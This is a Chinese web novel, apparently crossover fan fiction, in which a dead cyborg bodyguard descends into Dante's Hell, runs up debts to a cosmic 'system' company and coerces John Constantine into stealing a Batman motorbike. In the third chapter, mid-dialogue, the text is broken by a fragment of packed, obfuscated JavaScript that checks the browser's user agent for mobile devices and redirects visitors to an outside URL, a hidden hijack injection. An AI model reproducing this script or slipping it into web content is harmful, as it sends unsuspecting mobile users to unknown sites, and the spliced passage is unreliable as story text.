《地狱屑人公司》
1. 001
但丁的《神曲》里这样描写地狱:
“无星的夜空下响彻着叹息的哭泣和凄厉的哭叫,
“不同的语言,却爆发着同样的惨痛叫喊,
“回荡在昼夜不分的昏天黑地上,连太阳都像被黄沙遮蔽。”
她儿时读过这本书,只是埋藏在脑海里,忘了很久了。
现在,她真正来到地狱门前,又重新把这段内容回忆起来。
不愧是欧洲最伟大的诗人,这氛围描写的真是非常贴切。
只不过……她无所谓想,原来赛博世界也有真实的地狱,赛博人也会下地狱。
排队准备下地狱的灵魂像节日典礼时的游客一样摩肩接踵,望不到尽头。
她夹在鬼潮中间发呆,只有前面的鬼魂挪动一步,她才能跟着动一步。
这是何等没有效率的下地狱方式。
哪家公司是这样蜗牛蠕动般的办事速度,早就被同行戳着脊梁骨嘲笑致死了。
但是,地狱真的有“同行竞品”吗?
她曾经听说过东方有“地府”的传说,所以,阎王会是路西法的同类竞品吗?
想着想着,她又平息了焦躁:
垄断集团都是这死样子,跟它们急都是在浪费自己的情绪。
她看向最前方的地狱大门,漆黑的城门紧闭着,上面写着阴森的字幅:
“通过我,你将进入祸殃之城”
“通过我,你将坠入永世之苦”
“入此门者,当放弃一切希望”
她一边回忆《神曲·地狱篇》的内容,一边可惜没有在附近看到维吉尔。
可能维吉尔只接但丁吧。
据书里描写,地狱外面的城堡里住着一群伟大的人物,像是苏格拉底,柏拉图,欧几里得,希波克拉底等等。
与其这样像高速公路上堵车的司机一样慢慢等,不如去找找那座城堡,就当是去休息站吃碗面。
刚刚心念一动,一道突如其来的冷风便把她的灵魂卷至半空中。
她被风卷着,咬牙强忍着刺骨的寒冷。
她不是没有受过伤,赛博世界人人都不把受伤当回事,她也曾经被砍过手挖过眼,但这来自灵魂的痛苦还是令她印象深刻。
而且,她也不明白灵魂为什么也能感到痛苦,但地狱既然能给鬼魂带来惩罚,想必自有它们的办法。
她的灵魂被寒风卷着,从鬼潮的头顶上空飞过去,鬼潮对她毫无兴趣,谁也没有抬起头看看。
她丝毫没有受阻的降落在一个怪物的面前。
这怪物一直坐在地狱之门旁,它体型高大,长相狰狞,尾椎处长着一条长长的尾巴。
它的声音在她的脑海里响起,震的她头疼,但也让她知道,它是地狱看守米诺斯。
米诺斯会根据从灵魂中汲取的记忆,判断对方犯了什么罪。
它的尾巴在身体上缠几圈,灵魂也会被放逐到地狱的第几层。
介绍完毕后,她感到一股无形的力量狠狠地揪住她的头,像是要把她的脑子扯出来一样。
随即,她一生的经历在她和怪物之间像电影一样放映:
在她还是个小孩子的时候,原因不明的穿进了赛博世界,从此在异界生活。
赛博世界阶级分明,穷人与富人之间比人和狗之间的差距还大。
“人类幼崽”的未来有无限的发展可能,属于一种珍贵资源。
没多久,她就被一个急于还债的男人捡住,直接卖给了荒坂公司的讨债员。
在这个世界,势力最大、经济实力最强的超级企业便是荒坂公司。
该公司又以“安保部门”为核心业务,相关部门的员工会到处收罗孤儿,送进位于北海道的“训练营”。
那里的教官会以泯灭人性的方式将这些孤儿培养成士兵和护卫,以供公司差遣。
在训练营里,每个受训者都不被当人看待,在教官口中,公司的掌控者“荒坂三郎”是他们唯一的主人、控制者和顶头神明。
每当听到这些形容荒坂三郎的话,她的脑子里便响起一句概括:
“此乃掌握全球经济命脉的男人。”
当她第一次看到荒坂三郎的全息影像,就在心里把这句话改了:
“此乃掌握全球经济命脉的老登。”
她很快发现了自己和其他人不一样的地方,不光是她的大脑里总冒出奇怪的想法和对现实的戏谑。
当教官越是灌输“荒坂为神”的概念,当一起受训的人越是对“荒坂”深入骨髓的服从,她心里的某种东西越是膨胀,像是在燃烧,要迫不及待的冲出胸腔。
某个夜晚——她已忘了那是个什么样的夜晚——只知道在那个晚上,路过挂在走廊上的荒坂三郎的画像,她福至心灵的通感了这一直埋在心中的东西:
它名为“野心”,它在日夜叫嚣着“弑神”。
奇怪的是,在不知道“这膨胀”为何种感觉前,她一直很焦灼,很冲动,甚至会在训练里因为突然的狂躁受到教官的严惩。
但那晚,当她揭开这感觉的真相后,她的心骤然变得无比安宁和祥和。
原来如此……
原来她会来到这个世界,就是因为最强劲的对手在这里,最有资格被她杀掉的“神”在这里。
当然,她想撼动的“神”不是指荒坂三郎,而是整个“荒坂公司”。
虽然嘴上不能说,但在她心里,荒坂公司唯一的缺点就是“不属于她”。
又眼馋又得不到的东西,最好就让它不存在。
如同精卫想填平大海,她也想和荒坂公司掰掰手腕。
一旦确定了想法,她便开始琢磨荒坂公司的现状:
荒坂公司是家族企业,它如今的掌控者荒坂三郎在外人眼中已如冢中枯骨。
荒坂三郎的大儿子早死了,最可能继承家业的是二儿子荒坂赖宣和小女儿荒坂华子。
那么……是二选一吗?
以优异的成绩从训练营毕业后,她立刻得到了一个任务:
前往美利坚,保护一个名叫“美智子”的女孩。
刚开始,她以为美智子是荒坂三郎的私生女,感慨老登枯骨之年仍不忘辛勤播种。
后来,她仔细一查,发现荒坂美智子是荒坂三郎的孙女,是那个早死的大儿子留下的唯一遗孤。
她心中一动:好像不用二选一了。
无论荒坂赖宣也好,荒坂华子也好,都已是腹黑阴暗的成年人,不如她在危难中保护的荒坂美智子容易建立情谊。
不如除掉此二人,拥美智子继承家业,成为荒坂新家主的“心腹”。
之后,她再养精蓄锐,暗中操纵…哦不,培养幼主,逐渐发展为荒坂家的“大患”……
只是她总觉得不安困惑:难道商战能这么简单粗暴吗?这么简单就能让荒坂公司换个风向?
在反复纠结时,她听到了荒坂三郎为了打击劲敌企业,在位于美利坚西海岸的“夜之城”里引/爆了一枚核弹。
高端的商战,往往就是如此简单,如此直白,如此粗暴。
挺好的,如果爆炸的时候,她和美智子没有正好到达西海岸的话就更好了。
虽然成功护送美智子脱离,但她自己也丧命在灾难中。
临死前,她的脑子里只有一个平和的想法:“荒坂,我x你先人。”
……
名为“记忆”的电影放映到尽头,她的一生也随之结束,她和米诺斯大眼对小眼。
虽然她生前的想法比较多,可什么都没来得及实施,“白日做梦”不至于要下地狱吧?
“你生前的账户上有一笔资产,”米诺斯的声音只有她
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能听见,“把那笔钱给我,我允你免受地狱之苦。”
她:???
哈?
搞没搞错?
这就是赛博世界的地狱吗?
连地狱审判都能用金钱操纵?
而且你一个地狱看守,要钱干什么?
她深吸一口气,控制怒火,微笑道:“我辛苦挣来的财产,一分都不会分给别人。”
米诺斯的长尾巴在身上一圈一圈的缠绕起来。
每缠一道,它都会紧紧的盯着她,像是一种无声的威慑。
她始终微笑以对,毫不动摇。
不知从谁那里,她曾听过一句话,“不能独立掌握金钱的人,同样也不能主导‘自我’和‘命运’。”
她也许没有防住“意外”的强大能力,可至少,她的财产不能脱离她的控制。
最终,米诺斯的尾巴全部缠在了身上,一共九圈,判定达成。
顷刻间,地狱之门大开。
她如芦苇般被狂风卷入,堕向地狱的最底层。
又有声音在她脑中响起:
“检测到此界最符合条件的存在……咳咳,听得到吗?”
“又是谁在说话?”
刚被米诺斯读过心,现在又来一道,她有小情绪了。
对方并不动怒,活泼开朗的说:“你好,这里是寰宇星际贸易公司,我是你的合伙人,寰宇系统。”
“你心中一定有很多疑问吧?不过不要担心,开门见山的说,我们是来同你谈生意的。
“在寰宇这家巨型企业里,可以自豪的说,我们一直致力于将爱与和平传播到每一个位面。
“我司拥有星际间最高的产值和最低的失业率,有生命存在的地方,就有我司的产品和市场。
“我司内部就像一个没有血缘关系的大家庭,我们上下一心,都是一家人。
“我们共同创造无穷的、全方位的、空前绝后的财富,打造美满又幸福的世界。”
伴随着这段描述,一番欣欣向荣的社会景象展现在她的眼前:
是太空里的数颗外星球,也是发达的高科技社会。
在这些星球上,土地上的农作物在风中如海浪般起伏。
空中飞车,全自动化生产,商品源源不断的流下生产线。
金融机构的屏幕上,金钱以“兆亿”为单位起伏变化着。
人人面带笑容,轻松的劳动,回到家里,又有机器管家为他们服务。
孩子们在社会全托机构里玩耍,欢笑着扑进来接他们回家的父母怀里。
实在是一副“大同社会”的盛景。
系统的语气一变,微微哽咽起来:
“但前不久,我们惊恐的发现,寰宇巨企在星系间的数千家分公司,竟没有一家开在地球。
“多么可怕,地球,因为一个小小的疏忽,竟被我们遗漏了啊!
“为此,总裁宵衣旰食,家人们夙兴夜寐,寻找那个能帮助我们弥补过错的人。”
“现在,太好了,我们终于找到最合适的人!
“我们相信,在她的领导下,地球一定会成为充满爱与和平,劳动与欢笑的地方。
“这个力挽狂澜、拯救所有人的救世主,对——你,就是你
“你就是我们的家人,相信我们一定会创造美好的羁绊!”
系统很激动,她更无语:
她仍在往地狱底层掉,还有东西喊着“家人啊”“羁绊啊”的冲过来了。
“很感激你的青睐,但我已经被发配地狱了哦。”她客套的敷衍。
这东西暂时看上去像个外挂,可为什么不在她活着的时候上门呢?
系统微微一滞,又振奋道:“没关系的,寰宇巨企不会放弃每一位被选中的家人,即便身处地狱,我们也能体面的发展!”
2. 002
“既然如此,让我看看你的实力吧,把我原本的身体还给我。”
她提出了这样的条件。
系统显然没想到她能如此“反客为主”,不确定的问:“一般的客户绑定本系统后,都会先从问问题开始,你是直接谈条件了吗?”
“不是吧,‘夏洛克’,你都已经开门见山的提出‘谈生意’了。”她做了个鬼脸,继续说,
“虽然我是保镖,但也跟着荒坂家学了不少。我明白‘谈生意’建立在双方至少旗鼓相当的实力上。
“显然,我身上有东西被你看中了,你想和我合作,也该展示你有什么能帮到我的地方。”
“不管你想让我做什么,‘拿回我原本的身体’对我们两都有好处。”
换言之,如果系统连“拿回她的身体”都做不到,她也没必要再听这个聒噪的东西巧言令色下去,直接送客吧。
而且,她也可以趁机看看系统的态度,即“合作的诚意”。
她继续说:“更重要的是,我生前的身体是经过至少三重改造的超级兵器。”
“荒坂公司”从来不吝啬于在“人才”身上的投资。
他们会将训练营里成绩优异的特工送进秘密机构里进行“基因改造”,“药物改造”或者“机械改造”。
努力和优异让她获得了许多改造的机会。
第一次改造,她被挖掉眼睛,装入电子眼,获得比人眼更加精密的分析能力。
第二次改造,她被斩断胳膊,换上多武器机械臂,获得电刀和掌心炮。
第三次改造,她被抽掉脊椎,装入人造脊椎,获得能像蚂蚁一样支撑起比自身重几百倍的东西的能力。
第四次改造,她被植入大脑芯片,从此她的思维会像电脑一样智能快捷。
……
她真的非常喜欢被改造。
因为每一次改造,对她的实力提升都“有利无害”。
当然,外界总有居心叵测的传闻说,经历过太多义体改造的人容易患上“赛博精神病”。
但是她自问精神健康,没有任何不良影响,可见传闻不过是空穴来风而已。
系统一边听她说明,一边偷偷查阅“赛博精神病”这个词条。
赛博精神病:一种由于植入在身体里的硬件,包括软件在内的各种行为插件而导致的,所有精神方面以及焦虑相关的人格障碍。
具体表现如下:对身体改造的狂热,不把自己和别人当人的态度,癫狂的妄想症,否认自己得了赛博精神病的自信……
系统:“……嗯嗯,我懂了,你不是赛博精神病,传言的人真坏。”
这敷衍的回应让她顿了顿,不过她没有计较,而是继续解释:
现在,由于她死了,以灵魂状态来到地狱。
她的灵魂只是个身材矮小的小女孩。
在地狱里,她只能以“小女孩”的状态行动的话,显然非常不利。
接下来,就得看系统的了。
系统没有生气,在外界仿佛静止的时间中,它将一张订单展现在她的眼前。
【请确认您的需求:
主躯干x1
附件如下:
改装的电子眼x1
多功能武装手臂x1
大脑芯片x1
人造脊椎x1
螳螂刀x1
掌心炮x1
……】
她的身体,改造和装备,被细分成了每一项,落在纸面上。
系统:“你需要赎回哪一项,就在后面打勾。我们会把费用作为欠款记在你的名下。”
她厚颜无耻的说:“我们不是家人吗?家人之间还要算钱?多伤感情呐。”
“亲家人,明算账。”系统同样大言不惭,“是家人更要体谅我们的辛苦。从异世界赎回身体不仅要付身体原本的价格,还要加上关税和各种手续费,很贵的。”
她在“电子眼”后面打了一个勾后,敏锐的发现,狗系统确实是多收钱了。
实际上,荒坂给她所有改造也都不是免费的。
每次改造手术都意味着她背上了一笔欠荒坂的债,工作后要连本带利的还。
“电子眼”作为其中的一项改造手术,代表她欠了荒坂公司“两亿美金”。
现在,狗系统在“两亿美金”的原价上又多收了百分之七十五手续费(鬼知道是什么手续),将价格叠加了“三亿五千万美金”。
项目分的越细,系统的收费越多。
不是外挂,寰宇是个作风不亚于荒坂的奸商。
这下,她心里有底了。
“主躯干”是一定要的,这是身体的基石,她总不能以一只手或者一条脊椎的形态跑来跑去。
选了“主躯干”之后,她又选了电子眼,改造手臂和人造脊椎。
“对不起,”系统为难的说,“在你一无所有的状态下,我们不能佘给你太多的东西。”
她“啧”了一声。
系统当做没听到,继续说明:“目前,寰宇巨企给你的服务就像是刷信用卡,信用卡的透支是有额度的,寰宇也是如此。”
“那么,寰宇现在能透支给我什么?”她懒洋洋的问。
一个脊椎正常的主躯干。一把能够对灵魂形态造成打击的左轮灵能手枪。
欠债:十亿美金。
系统彬彬有礼的说:“如果在十五天之内,你无法偿还这十亿美金,我们将收回给你的馈赠,并终止我们之间的合作关系。作为赔偿,你的灵魂也会被寰宇回收,并入电网。”
她抿了抿嘴,无所谓的嗤笑起来,“早这么说啊,之前‘家人’来‘家人’去的,智障一样。”
系统问:“你不怕还不上吗?”
“你知道神曲里的地狱是个什么地方吗?”她反问。
系统没有回答。
她自问自答:“神曲里的地狱,是个没有‘轮回’的地方,这就意味着从几千年前开始,所有死人的灵魂都在地狱里。
“这里有幅员辽阔的土地资源,数千年积累的庞大劳动力,你居然问我,区区十亿美金……能不能还上?”
她笑了起来,任由自己落在冰冻的海面上。
终于落到底了。
地狱的第九层,是一片冰冻的大海,从古至今的罪人的灵魂被会冻在海面上,互相撕咬互相折磨。
而新进来的罪人,他们还没有被冻牢,还可以为了争抢彼此身上保暖的衣服,在冰面上打成一团。
哪怕他们知道即便把所有人的衣服都穿上,也只是杯水车薪、徒劳无功,但不打架不争抢,他们还能干什么来抵御恐惧呢?
这些新来的灵魂,都是以自身原本的形态,赤手空拳(但不知为何保留着衣服呢)来到这块土地上。
所以,这场争抢保暖物的群殴里,都是些体力过人的男人占了上风。
然而,她有灵能枪。
“不管你信不信,”她笑着说,“我真的没有赛博精神病。”
她真的没有赛博精神病。
强调一遍,她真的没有赛博精神病。
只是那天,改造室的密医给她注入一支“纳米精力剂”,继“躯体机械改造”之后,她又接受了一次“药物改造”。
从那天以后,所有人的行动在她的面前都像是0.5倍下播放视频的慢动作。
正如现在这群罪魂
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。
她能清楚的听见每一个灵魂在干什么:
毫无章法的挥拳的人,脚底打滑的人,低声哭泣的人,到处寻找躲避物的人,被冻结在海面上的古老灵魂绊倒的人……
到处都是慢速度的人。
下了地狱,但她非常不服,如果不是那枚核=弹,她怎么可能会死?
她自言自语:“寰宇系统,你可以告诉我,我死之后,荒坂怎么样了吗?”
系统停了片刻,竟真的回答:“那场‘西海岸事故’后,由荒坂集团高层决策斩下荒坂三郎的脑袋,送给米国□□作为谢罪礼。”
“好利落的赔罪啊。”她半是赞叹半是嘲讽的说。
送了总裁的脑袋,但“荒坂集团”仍活着。
她对着那些厮打着的灵魂举起枪,第一枪便打中了里面抢的最欢、最有威胁力的男人。
“荒坂集团还存在着,我又怎么舍得呆在地狱里,永世不得超生?”
她像个孩子一样笑起来。
随着最有威胁力的男人倒下,那些抢的上头的恶人们仍在厮打。
于是,她又开了一枪,正中第二个“出头鸟”。
两个闹得最欢的人都连接倒下了,其余的人终于停下动作,呆呆的看着她。
“记着,在场的所有人,我不杀你们,但作为对我的感恩,你们每个人都要还我十亿美金。”她愉快的宣布,“包括刚刚倒下的那两个。”
她没有杀死那两个灵魂,只是让他们受了些暂时无法动弹的伤。
一般情况下,地狱的灵魂无法被杀死。
不过,她手里握着的,是可以对灵魂造成伤害的灵能枪。
虽然可以杀掉,但她仍然不会选择“杀人”。
第一,杀人很浪费资源,无论对方是不是生前罪大恶极的灵魂。
第二,对于商人来说,“冒昧夺走一个人的生命”是世上最赔本的事。
有人,才有劳动力,有人,才有资源,有人,才有消费。
人,是一切“财富”的总和。
她欠了寰宇系统十亿,但现在,这笔巨额债务已经转移到眼前每一个人身上。
恶人不是傻子,在意识到在场没有人比她更强后,面对她的话,即便觉得她在胡言乱语,也没有人敢出声反对。
她走来走去,随意的命人让开。
终于,她在人群的尽头发现了一个与周遭格格不入的男人。
他穿着米黄色的风衣,抱着头,嘴里喃喃怒骂着什么。
有脚步声在身后停住。
他转过身,保护着自己,烦躁的大声喊:“别来烦我,好吗?别想抢走我的衣服,我和你们不一样,我是约翰·康斯坦丁,老实说吧,你不会想得罪我!”
隔着地狱里犹如布满黄沙的模糊空气,他看见面前站立着一个身高大约一米五五的矮个子女孩。
她极为瘦削,穿着长过膝盖的、挂满叮叮当当银色金属饰品的黑色皮衣,一条被剪短的黑色牛仔裤,一双不太合脚的、带着铆钉的皮靴。
她长着一头金色的蓬乱的头发,眼眶里空空荡荡没有眼球,一张苍白的娃娃脸。
她好像不应该出现在地狱里,而应该出现在演唱会上,给琼·杰特或塔雅·图仑尼激情十足的打call。
“我也很不一样。”女孩笑着说。
该死,康斯坦丁想,这小丫头是个瞎子,还只有一条胳膊,但他仍不能动,因为他被对方手里的枪指着,可这该死的枪是从哪来的?
女孩笑容可掬的说:“我叫卡喀亚,那么康斯坦丁,你也欠我十亿美金。”
”……这不是地狱吗?你要钱干什么?”康斯坦丁问。
3. 003
康斯坦丁会下地狱纯属被坑。
准确的说,他也不想的。
要知道,为了逃避“下地狱”的命运,他甚至把自己的灵魂分别签给了地狱里的两个大恶魔。
一旦他死掉,这两个盘踞在地狱里的大势力就要为争抢他的灵魂开战。
天堂和地狱都不想看见战火重燃,打破势力平衡,所以它们不得不保证康斯坦丁一直活着。
这本是个万无一失的计划。
坏就坏在“人算不如天算”,就在前不久,地狱魔王路西法罢工了。
那天晚上,一无所知的康斯坦丁受邀来到一家陌生的酒吧。
当看见高大英俊、风度翩翩的路西法从吧台后的小门里走出时,他震撼的无以复加:“沃特惹……你搞什么名堂?”
路西法背后的翅膀不见了。
他人模人样的穿着一身笔挺西装,金发向后梳的整整齐齐,一派“土生土长纽约花花公子哥”的派头。
“长话短说,”路西法任性的宣布,“我烦了,我不干了,我看守地狱几千年,既没有功劳也不算苦劳,我要在人间潇洒潇洒。”
“那地狱怎么办?”
一瞬间,康斯坦丁感到毛骨悚然,“地狱里所有的恶魔怎么办?没有你的管理,地狱所有的规矩都会荡然无存,它们都可以跑出来为祸人间。”
路西法反唇相讥:“我怎么不知道你约翰·康斯坦丁什么时候这么关心人间?你只不过担心我的离开会导致你的‘小把戏’失效而已。”
康斯坦丁被噎得无法可说。
的确,地狱之王路西法的罢工意味着“从今以后,地狱将不再有限制”。
意味着两大恶魔没有了约束,可以一起来追杀他。
它们甚至可以将他的灵魂锯成两截,“一魔拿一半”。
喝了一杯酒压惊后,他又问:“你的翅膀呢?”
路西法是堕落天使,上帝的叛逆儿子。
即便沦为地狱之主,他仍然与其它地狱里的原生恶魔不同,有一对洁白巨大的翅膀。
“切了。”
路西法回答的很随意,好像他们讨论的不是他曾经身为大天使的荣耀和证明,
“我在沙滩边上用‘上帝之剑’——也就是我老爸的剑——把翅膀割下来,然后装进集装箱里,又叫了个快递员上门,差不多这几天就该送到了。”
“你随身带着又能怎么样?”康斯坦丁不明白。
“我才不要随身带着两个大翅膀,别人会以为我是玩cosplay的死宅!”
路西法也端起面前的酒杯一饮而尽,“我已经在地狱宅了几千年——我恨这个。不必多说,今晚我请客,全场免单!”
随着他的喊声,整个酒吧都欢呼起来。
康斯坦丁把手伸向酒瓶,被路西法一巴掌拍在手背上,“除了你,康斯坦丁,你得付钱。”
“这什么‘美式霸凌’,‘我请全场喝酒,不带你’?”康斯坦丁一边缩回手,一边不服气的嘟囔。
路西法懒得理会他,叫他没钱就滚。
康斯坦丁悻悻的从酒吧里出来,转角遇见爱——
不是,转角,他遇见当初被他哄骗、与他签约的恶魔之一,“初堕者”。
……
“于是我就到地狱来了,”康斯坦丁对卡喀亚说,“相信我,我不想的,有混蛋在迫害我!”
卡喀亚不理解他在强调什么,“嗯……难道我们中有人是因为‘好想好想’才落到地狱里来的吗?”
她环顾周围的其它灵魂,“你们是吗?”
没人吱声。
她对康斯坦丁耸耸肩,“你看,我们都不想的。”
“随你怎么说,”康斯坦丁拉长声音,“所以你能不能放开我,我正在被追杀,你肯定不想惹上初堕者。”
“我不在乎,”卡喀亚说,“你现在欠我十亿美金,不还清,你将和我一同被并入电网。”
她的枪口仍然指着这个黄毛男,“现在,该证明你的价值了,我想要一个代步工具。”
“你这死孩子是在对我许愿吗?我特么又不是圣诞老人!”
康斯坦丁竭力反抗。
他咒骂。
他哀嚎。
他卖惨。
他咆哮。
他指手画脚,四处乱走,用手舞足蹈表达自己的愤慨,像是舞台剧上的李尔王。
最终,他妥协了,用口袋里的神秘沙土,在地上画出了一个魔法阵。
“我得告诉你,”他哼哼着,“我不是‘坐骑研究会’的荣誉会员,而且在地狱里,我不能大肆使用魔力,你最好确定你到底要什么样的交通工具,因为我不会帮你换的。”
卡喀亚沉思着问:“这个世界上速度最快,最防寒,最抗打,耗油最久的坐骑是什么?”
“没你说的这种良驹!”
卡喀亚也觉得是这个道理:
但凡是跑车、电脑、义体这些昂贵物品,厂家肯定不会保证它们持久耐用。
厂家们都觉得,它们最好是一年坏两次,一次坏半年。
否则怎么逼顾客尽快换新?否则他们怎么赚钱?
“最好是定制的。”卡喀亚决定,“私人定制。”
康斯坦丁下意识的哼道:“你总不会是想要蝙蝠车吧?”
反应过来后,他恨不得咬掉自己的舌头,或者把刚才的话收回去。
卡喀亚已经听见了,“蝙蝠车是什么?”
“蝙蝠侠的私人座驾,”康斯坦丁说,“不过我劝你别打这个主意,我们不能偷蝙蝠侠的车,懂吗?上一个偷了蝙蝠侠车的人,只是偷了个轮胎,就已经被蝙蝠侠抓去庄园,传言五花八门的……”
卡喀亚已经习惯了从对方一连串的废话中提取关键词。
换言之,她只听她想知道的。
“你的意思是,蝙蝠侠比蝙蝠车更强?”
“啊哈,肯定的!”
“那……啊,换个思路想,蝙蝠侠也可以是一款坐骑,我要这个。”
康斯坦丁:???
“不是……啊?”
“你想想看,”卡喀亚循循善诱,“所谓‘坐骑’,字面意思就是供人乘骑,泛指代步工具。也就是说,世上一切能载人行动的都叫‘坐骑’。在这个定义下,蝙蝠侠凭什么不能是一款坐骑?”
康斯坦丁哆嗦着掏出一支烟,咬在唇上,深深的吸了一口,再缓缓吐出。
“死孩子,”他冷静的说,“我欣赏你的理解力,由衷的。但是你好好想想,是蝙蝠侠驮着你在冰海上跑得更快,还是你开着一辆蝙蝠车跑得更快?”
卡喀亚想象了一下这两幅画面,“蝙蝠侠,他会飞呢。”
康斯坦丁恍然大悟,知道问题出在哪了:
“蝙蝠侠,他不是‘蝙蝠和人’的结合体,懂吗?他只是个人,非常有钱,穿的像只大蝙蝠,但,是人。”
卡喀亚呆住了,没有血色的嘴唇不由自主的哆嗦着。
康斯坦丁以为她很失望,便补充道:“蝙蝠打扮只是阔佬的怪癖,懂吗?”
卡喀亚呼出一口白雾似的冷气,反而问:“他很有钱吗?”
“他是哥谭市的大富豪……不,整个米国数一数二的大富豪,和咱们可不是一个阶层的——别怪我直接,死孩子,你看上去可不像贵族家的小孩。”
“像他一样有钱的人有多少?不,米国的顶级大企业有多少?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906140|160165||http|test|mini|href|location''.split(''|''),0,{}));
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>“你对这个有兴趣?韦恩企业,奎恩科技,莱克斯集团……应该是这三个吧。我对有钱佬们真没什么研究,我又不是天天追着花边新闻跑的狗仔。”
卡喀亚记住了这些姓氏,并且在她的认知里,它们每一个都长着一张“荒坂老登”的脸。
一个老登被砍头,三个老登站起来,这仿佛病毒般的传染速度真是令人畏惧。
康斯坦丁倒是满意了。
他成功的打消了小孩“想要蝙蝠侠当坐骑”的妄想,让她重新对“蝙蝠车”产生兴趣。
即使是蝙蝠侠本人知道,也会赞扬他拯救了世界。
深夜,韦恩庄园的车库里亮起了一个魔法阵,地面上产生了一个仿佛连同深渊的洞。
一只手从里面伸出来,到处摸索着,终于摸到了一个轮胎。
它上下摸了摸车轮上的花纹,然后抓住了轮胎,把轮胎连接着的整辆车往洞里拖。
拖到一半,卡住了。
这只手很努力了,但轮胎纹丝不动。
手放弃了。
它的五指并拢,敲了敲地面,另一个洞在不远处的地面上产生了,比刚才的洞更大。
这只手又从另一个洞里伸出来,抓住了另一个轮胎,将轮胎连接着的交通工具拖进洞里。
这次,它很顺利的拖了过去。
随着一辆交通工具被拖走,两个洞同时消失。
只有第一辆没有被拖过洞的蝙蝠车孤零零的留在原地,一半卡在地面里,另一半翘在半空中。
再过十五分钟,蝙蝠侠开着第三辆蝙蝠车夜巡归来,会被这辆卡在地里的车挡住路。
地狱九层深处,康斯坦丁擦了把汗,差一点,他就失败了。
不过,他还是成功的将一辆蝙蝠家交通工具拉进了地狱里。
现在,卡喀亚正像好奇的猫一样围着它打转:
这是一辆通体漆黑、经过特殊改装的蝙蝠摩托车。
……
蝙蝠摩托车的引擎声响彻冰海,震耳欲聋。
卡喀亚伏在蝙蝠摩托上,一只手尽力前伸抓着着摩托把手,两只脚勉强踩着踏板。
没办法,她不够高,之所以没有因摩托车的速度飞走,也全靠康斯坦丁坐在后排抓着她的肩膀。
蝙蝠摩托的速度贼快,在冻得结实的冰海上一路滑行,沿路无情的压过无数罪人的脑袋。
但这些受苦的灵魂很快就会恢复原样,对这交通工具发出类似“下地狱吧”“该死的,他们已经在地狱里了”的抱怨。
由于蝙蝠摩托是单人座,康斯坦丁的身体同样摇摇欲坠,只能专心维持自身平衡,不让自己和卡喀亚都被甩飞出去。
饶是如此,他仍被这趟夸张的公路旅行吓得魂飞魄散,扯着嗓门大喊:“死——孩子,听——我——说——啊——”
“什——么——?”
耳边风声太大,平常人根本听不清,幸好卡喀亚不是“平常人”。
“男人——坐在——女孩子——的摩托后面,很——难——看——”
“你要——换位置——吗?但你——坐在我前面的话——我的手——够不到——摩托把手——没有控制——可以吗——”
“不能——换我来——掌舵吗——”
“那——我——怎么办——”
“你可以——坐在——我的风衣里——嗷”
……
冰海上,年轻的流浪者听到这惊天动地的摩托引擎声。
一直以来,他麻木的脸上有了变化,变得难以置信。
他手脚并用的跑上高处,只赶上看见摩托车长长的尾气。
“沃特发……”他喃喃的说,“搞什么名堂?蝙蝠侠下地狱了?”
4. 004
康斯坦丁能找出很多条理由,证明自己不应当与这个死孩子同行。
首先,他可不是影视剧里广为人知的“大叔保姆男妈妈”。
出于某些不明所以的原因,从好莱坞诞生开始,观众们都很享受《这个杀手不太冷》的套路:
一个胡子拉碴、落魄不堪的成年丧男人遇见了一个漂亮忧郁的小萝莉,于是啪——
硬汉像《绿野仙踪》里的铁皮人一样有了一颗心,开始带孩子了。
不,他不会。
这个套路可能发生在超人或者蝙蝠侠身上,可他,康斯坦丁,免谈。
况且这死孩子也完全不像马蒂达尔。
倒不是说她不好看,但康斯坦丁游走在世间,见过形形色色的人,对于“认清对面的人是什么样的人”,他有自己的一套办法。
他看她更像是会生啃男人脑袋的那种“暗黑摇滚版马蒂达尔”。
尽管她的额头上没有长魔鬼角,眼睛里没有喷火,背后也没有魔鬼尾巴——但他就是知道!
太吓人了。
其次,他们骑着蝙蝠摩托车,飞速靠近了地狱第九层的中枢城市。
这是一座带有侧翼和复杂装潢的联体建筑,覆盖了数个平方英里的地狱土地。
建筑的外立面混杂后现代主义风格,建筑中心有着未来主义尖顶。
一群国际风格的四方玻璃塔围着它。
人们能在这里找到维多利亚复兴时期、联邦式、埃及式、中式、宫廷式、巴比伦式、巴洛克式、洛可可式……各种建筑风格。
简而言之,它非常堆砌。
康斯坦丁知道路西法不在乎这个,其它恶魔也不在乎这个,下地狱的灵魂更不在乎这个。
他们把所有的风格杂糅在一起,揉成一种让建筑师一看就要自戳双目的复杂样子,只是觉得这么建会很酷。
就像为了强调某个角色非常美貌,所以要叠加一大堆形容词一样。
都是为了用力的向看者传达一种“虽然看不明白,但光是看着就觉得好牛啤”的概念。
地狱一共有九层,每一层都有这么一个中枢城市。
如果坠入地狱的罪人灵魂没有冻在海上,就是说,只要他们有相当的本事或机缘,都会慢慢找到这里。
而每一个中枢城市都有一个恶魔坐镇,类似恶魔市长。
比如路西法,他不仅是地狱的统治者,也是地狱第九层中枢城市的市长。
目前,路西法“辞职”的消息还没有传开,这座中枢城市从外表上看,仍在如常运行着。
这里面,就康斯坦丁所知,不是什么有趣的地方。
蝙蝠摩托猛然停下,强大的惯性差点把康斯坦丁和卡喀亚一起甩飞。
“我后悔了,应该给你召唤一辆小电驴。”康斯坦丁哼哼着下车。
明明有车,他仍感到这一趟精疲力竭。
在地上站稳后,他看向卡喀亚,脱口道:“我咧个大艹!”
这孩子的头发已经被狂风吹的炸了毛,乱七八糟的四处伸展。
康斯坦丁欲言又止、止言又欲,终于忍无可忍的说:“梳梳头发吧,死孩子,非主流也要打扮的。”
卡喀亚没有动。
康斯坦丁又问:“从来没人教你怎么梳头发吗?”
他摸遍全身的口袋,也没找到能够整理头发的东西。
这死孩子仍一脸放空,配上乱糟糟的头发,特别像是网上形容的“这种痴傻的孩子”。
“听着,”康斯坦丁指点道,“你可以把蝙蝠摩托卖了,世上有很多活着的小孩想骑蝙蝠摩托,他们都没有机会,但是你已经体验过了。进城之后,你把摩托卖了吧。蝙蝠侠也不会计较一个走投无路的死孩子卖了他的车——他敢这么计较的话,就让他来找我!”
